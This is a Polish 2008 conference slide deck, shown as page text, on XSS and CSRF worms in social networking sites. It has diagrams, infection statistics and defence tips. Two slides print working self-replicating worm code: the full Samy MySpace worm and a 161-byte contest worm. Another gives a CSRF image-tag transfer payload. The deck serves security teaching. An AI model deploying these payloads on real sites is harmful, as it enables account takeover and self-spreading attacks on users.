Bezpieczeństwo portali społecznościowych w ujęciu robaków Web 2.0



Podobne dokumenty
Bezpieczeństwo portali społecznościowych w ujęciu robaków Web 2.0

Drobne błędy w portalach WWW

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

Analiza skuteczności zabezpieczeń przed atakami na aplikacje Web

Robaki sieciowe. + systemy IDS/IPS

Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Bezpieczeństwo aplikacji internetowych

Drobne błędy w portalach WWW prawdziwe studium przypadku ;-) Borys Łącki Michał Sobiegraj, CISSP

The OWASP Foundation Session Management. Sławomir Rozbicki.

Narzędzia OWASP dla developerów OWASP ESAPI & AppSensor OWASP The OWASP Foundation

ATAKI TYPU CROSS-SITE SCRIPTING

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

Ajax a bezpieczeństwo aplikacji webowych. Jakub Wierzgała

OWASP i Top 10 Sposób tworzenia Top 10 Czym jest a czym NIE jest Top 10? Zmiany w wersji 2013 Omówienie nowych podatności na liście Podsumowanie

Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa,

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

Bezpieczeństwo systemów komputerowych

Program szkolenia: Bezpieczny kod - podstawy

OWASP OWASP. The OWASP Foundation Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek

Client-side Hacking - wprowadzenie w tematykę ataków na klienta. Radosław Wal radoslaw.wal@clico.pl

Bezpieczeństwo frameworków WEBowych Java na przykładzie ataku CSRF

Content Security Policy jako ochrona przed skutkami ataków XSS.

Zarządzanie sesją w aplikacjach Internetowych. Kraków, Paweł Goleń

Bazy danych i usługi sieciowe

Agenda. Quo vadis, security? Artur Maj, Prevenity

Do jakich celów używamy komputera.

Marek Krauze

FRONT-END SECURITY SZYMON GRZYBOWSKI NSENSE POLSKA S.A.

Złośliwe oprogramowanie Sandrorat (podszywające się pod oprogramowanie Kaspersky) na platformę Android WYNIKI ANALIZY

Języki programowania wysokiego poziomu. PHP cz.3. Formularze

Laboratorium 1 Wprowadzenie do PHP

Bezpieczne udostępnianie usług www. BłaŜej Miga Zespół Bezpieczeństwa PCSS

Dworakowski. Wojciech. Zagrożenia i metody ataku. Aplikacje internetowe -

Zagrożenia związane z udostępnianiem aplikacji w sieci Internet

Windows Serwer 2008 R2. Moduł x. IIS

Blokowanie stron internetowych

Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty

Aplikacje webowe z wykorzystaniem Node.js oraz Express

Aplikacje WWW. Krzysztof Ciebiera. 3 kwietnia 2014

Czym jest AJAX. AJAX wprowadzenie. Obiekt XMLHttpRequest (XHR) Niezbędne narzędzia. Standardowy XHR. XHR z obsługą baz danych

OWASP. The Open Web Application Security Project. OWASP Top rc1. Dziesięć najbardziej krytycznych zagrożeń w web aplikacjach

TIN Techniki Internetowe zima

'Dajcie mi rząd dusz, a będę rządził światem...' Botnet z punktu widzenia administratora sieci. Borys Łącki

Serwery aplikacji. dr Radosław Matusik. radmat

Blokowanie stron internetowych

Kurs rozszerzony języka Python

Kompresja stron internetowych

Geek's Night / /dev/urandom. gynvael.coldwind//vx, Hispasec

2. Zastosowanie standardu Wi-Fi w systemach AMR... 21

Testy penetracyjne webaplikacji.

Wykorzystanie nowoczesnych technik ataku do zdobycia poufnych danych Bezpieczeństwo systemów sieciowych - Projekt

Wybrane działy Informatyki Stosowanej

z testów penetracyjnych

4 Web Forms i ASP.NET Web Forms Programowanie Web Forms Możliwości Web Forms Przetwarzanie Web Forms...152

ROZEZNANIE RYNKU. dotyczące opracowania i utworzenia strony internetowej Instytutu Włókiennictwa

Aspekty bezpieczeństwa aplikacji internetowych

Przykład programu w PHP. Wykład10.PHP ciągdalszy,str.1

TOPIT Załącznik nr 3 Programowanie aplikacji internetowych

Architektura CORBA. Przegląd technologii dla komponentowych,, rozproszonych aplikacji internetowych J2EE

Aplikacje WWW - hackowanie

Sprawozdanie Laboratorium 4

LUKI BEZPIECZEŃSTWA W APLIKACJACH INTERNETOWYCH. Waldemar Korłub. Wytwarzanie Aplikacji Internetowych KASK ETI Politechnika Gdańska

Internetowe BD P.Skrobanek 1. INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład IV. Paweł Skrobanek PLAN NA DZIŚ :

Systemy IDS/IPS dla aplikacji webowych

Obsługa incydentów bezpieczeństwa: część I, z punktu widzenia menadżera. OWASP The OWASP Foundation

Angular, cz. II. Tworzenie serwisów Web 2.0. dr inż. Robert Perliński

MOJE FINANSE I TRANSAKCJE W SIECI KURS REALIZOWANY W RAMACH GRANTU PRZYZNANEGO ZE ŚRODKÓW UE PROGRAM OPERACYJNY POLSKA CYFROWA DZIAŁANIE 3.

Projektowani Systemów Inf.

WAF (Web Application Firewall)

Połączenie VPN aplikacji SSL. 1. Konfiguracja serwera VPN 1.1. Ustawienia ogólne 1.2. Profile aplikacji SSL 1.3. Konto SSL 1.4. Grupa użytkowników

Zaawansowane Aplikacje Internetowe

1. Rodzaj przetwarzanych danych / linki do witryn zewnętrznych

PROJEKT ARAKIS DOŚWIADCZENIA Z OBSERWACJI ZAGROŻEŃ W SIECI Tomasz Grudziecki (CERT Polska / NASK)

Webapplication Security Pentest Service

Wirusy, robaki, boty sposoby obrony. Marcin Jerzak Zespół Bezpieczeństwa PCSS

Należy ściągnąć oprogramowanie Apache na platformę

! Retina. Wyłączny dystrybutor w Polsce

Zaawansowane aplikacje internetowe

Wykład 3 Inżynieria oprogramowania. Przykład 1 Bezpieczeństwo(2) wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz

Plan wykładu. 1. Protokół FTP. 2. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

Jak zabezpieczyć aplikacje przed włamaniami?

Bezpieczeństwo aplikacji. internetowych. 2. Szkolenie dla administratorów stron internetowych hufców Śląskiej Chorągwi ZHP

Aplikacje internetowe - opis przedmiotu

<cyber> Zagrożenia </cyber>

Tworzenie stron internetowych z wykorzystaniem HTM5, JavaScript, CSS3 i jquery. Łukasz Bartczuk

POLITYKA PRYWATNOŚCI

Programowanie. Dodatek - uzupełnienie wiadomości. mgr inż. Krzysztof Szwarc. Sosnowiec,

PROJEKTOWANIE APLIKACJI INTERNETOWYCH

Poznaj ASP.NET MVC. Kamil Cieślak Microsoft Student Partner

PROFESJONALNE SYSTEMY BEZPIECZEŃSTWA

Tomasz Greszata - Koszalin

Systemy internetowe. Wykład 5 Architektura WWW. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science

SEO Audyt. Podsumowanie. 51/100 punktów. Masz 11 rzeczy, które możesz poprawić! Uzyskany wynik: Data przeprowadzenia: :33:47







Transkrypt:

Bezpieczeństwo portali społecznościowych w ujęciu robaków Web 2.0 09.10.2008 Borys Łącki 1

2

Robak komputerowy samoreplikujący się program komputerowy... XSS/CSRF WORM!= Blaster, Sasser, Mydoom, Slammer. 3

XSS Cross Site Scripting Serwer Aplikacja WWW POST /register.php opis=<script> </script> <script> </script> GET /index.php Użytkownik Intruz <script> </script> exec( ) Baza danych Dane dostępne w kontekście użytkownika 4

CSRF Cross Site Request Forgery Serwer http://serwer/do.php?akcja=transfer&na=kontoborysa&ile=666 Aplikacja WWW przelew borys 666 GET /do.php?akcja=transfer &na=kontoborysa&ile=666 Cookie: user_id=734223s8uod42 Transakcja wykonana Użytkownik Intruz <img src= http://serwer/do.php?akcja=transfer&na=kontoborysa&ile=666 > 5

XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS Intruz User_1 User_2 6

XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS GET /intruz/ HTTP/1.1 User_1 <script> </script> Zapisuje XSS w swoim profilu exec( ) Intruz User_1 XSS User_2 7

XSS Worm Serwer WWW Zapisuje XSS w swoim profilu Intruz XSS GET /intruz/ HTTP/1.1 User_1 <script> </script> User_2 Zapisuje XSS w swoim profilu exec( ) Intruz User_1 XSS GET /user1/ HTTP/1.1 <script> </script> User_2 XSS Zapisuje XSS w swoim profilu exec( ) 8

XSS - Statystyka "XSS is the New Buffer Overflow, JavaScript Malware is the New Shell Code" 67 % - WhiteHat Security (2008) CVE - 1 miejsce (2008) xssed.com 30 324 total xss (2008) 60 % - NTA Monitor (2007).pl - serwisy aukcyjne, bankowe, społecznościowe :] 9

XSS Samy worm Kto: Samy Kamkar Gdzie: Myspace.com Kiedy: 04.10.2005 Co: "but most of all, Samy is my hero" 10

XSS Samy worm Ilość zainfekowanych użytkowników 13 godzin = 6,373 Godziny od momentu infekcji 11

XSS Samy worm Ilość zainfekowanych użytkowników 18 godzin > 1 000 000 (!!!) Godziny od momentu infekcji 12

Samy Worm - Czy rozmiar ma znaczenie? <div id=mycode style="style="background: url('javascript:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rhtml')}}function getdata(au){m=getfromurl(au,'friendid');l=getfromurl(au,'mytoken')}function getqueryparams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com') document.location=' http://www.myspace.com'+location.pathname+location.search}else{if(!m){getdata(g())}main()}function getclientfid(){return findin(g(),'up_launchic( '+A,A)} function nothing(){}function paramstostring(av){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1) {Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpsend(bh,bi,bj,bk){if(!j){return false}eval('j.onr'+'eadystatechange=bi');j.open(bj,bh,true);if(bj=='post'){j.setrequestheader('content-type','application/x-www-formurlencoded');j.setrequestheader('content-length',bk.length)}j.send(bk);return true}function findin(bf,bb,bc){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function gethiddenparameter(bf,bg){return findin(bf,'name='+b+bg+b+' value='+b,b)}function getfromurl(bf,bg){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024); var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getxmlobj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.activexobject){try{z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE) {AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+ae+'d'+'iv>'}var AG;function gethome(){if(j.readystate!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length); if(ag.indexof('samy')==-1){if(af){ag+=af;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes'; AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero, 'POST',paramsToString(AS))}}}function posthero(){if(j.readystate!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm? fuseaction=profile.processinterests&mytoken='+ar,nothing,'post',paramstostring(as))}function main(){var AN=getClientFID();var BH='/index.cfm? fuseaction=user.viewprofile&friendid='+an+'&mytoken='+l;j=getxmlobj();httpsend(bh,gethome,'get');xmlhttp2=getxmlobj();httpsend2('/index.cfm? fuseaction=invite.addfriend_verify&friendid=11851658&mytoken='+l,processxform,'get')}function processxform(){if(xmlhttp2.readystate!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm? fuseaction=invite.addfriendsprocess&mytoken='+ar,nothing,'post',paramstostring(as))}function httpsend2(bh,bi,bj,bk){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=bi');xmlhttp2.open(bj,bh,true);if(bj=='post'){xmlhttp2.setrequestheader('content-type','application/x-www-formurlencoded');xmlhttp2.setrequestheader('content-length',bk.length)}xmlhttp2.send(bk);return true}"></div> 13

Samy Worm - Rozmiar nie ma znaczenia... Diminutive XSS Worm Replication Contest 161 bajtów!!! <form><input name="content"><img src="" onerror= "with(parentnode)alert('xss',submit(content.value='<form>' +innerhtml.slice(action=(method='post')+'.php',155)))"> 14

Worm, worm, yes ya gonna worm Libero.it, Tiscali.it, Lycos.it, Excite.com - Nduja Yahoo - Yamanner Orkut (x2) - xmen hi5.com badoo.com Gaiaonline.com (1500 osób / 3 h) justin.tv (2525 osób / 24 h) MyYearbook.com U-dominion.com xiaonei.com 15

Nasza-Klasa.pl Znajomi: 291 Aktywni znajomi: 238 (2008.09) Średnia: 254 * 5 / 60 = 21 godzin Rekordzista: 1891 * 5 / 60 = 157 godzin 16

Nasza-Klasa.pl 2008.09 Ilość aktywnych znajomych 17

wykop.pl - CSRF 18

wykop.pl - CSRF 19

wykop.pl - CSRF 20

wykop.pl - CSRF Ilość wykopów Godzina 21

Zagrożenia Manipulacja i dostęp do danych SPAM Ad. Fraud DDoS 0 day bug po stronie klienta Zabawa? 22

Jak się zabezpieczyć Kontrola wejściowych i wyjściowych danych Hardening konfiguracji serwera WWW Bezpieczna przeglądarka 23

Linki http://namb.la/popular/ http://en.wikipedia.org/wiki/samy_worm http://blogs.zdnet.com/security/?p=1487 http://www.heise-online.pl/security/luka-na-stronie-banku-umozliwia-nieautoryzowane-przelewy--/news/5927 http://www.slideshare.net/jeremiahgrossman/website-security-statistics-august-2008-presentation?type=powerpoint http://pl.wikipedia.org/wiki/robak_komputerowy http://sla.ckers.org/forum/read.php?2,18790,18790 http://www.xssed.com http://sla.ckers.org/forum/read.php?2,14477 24

Pytania + niespodzianka Dziękuję za uwagę b.lacki@logicaltrust.net 25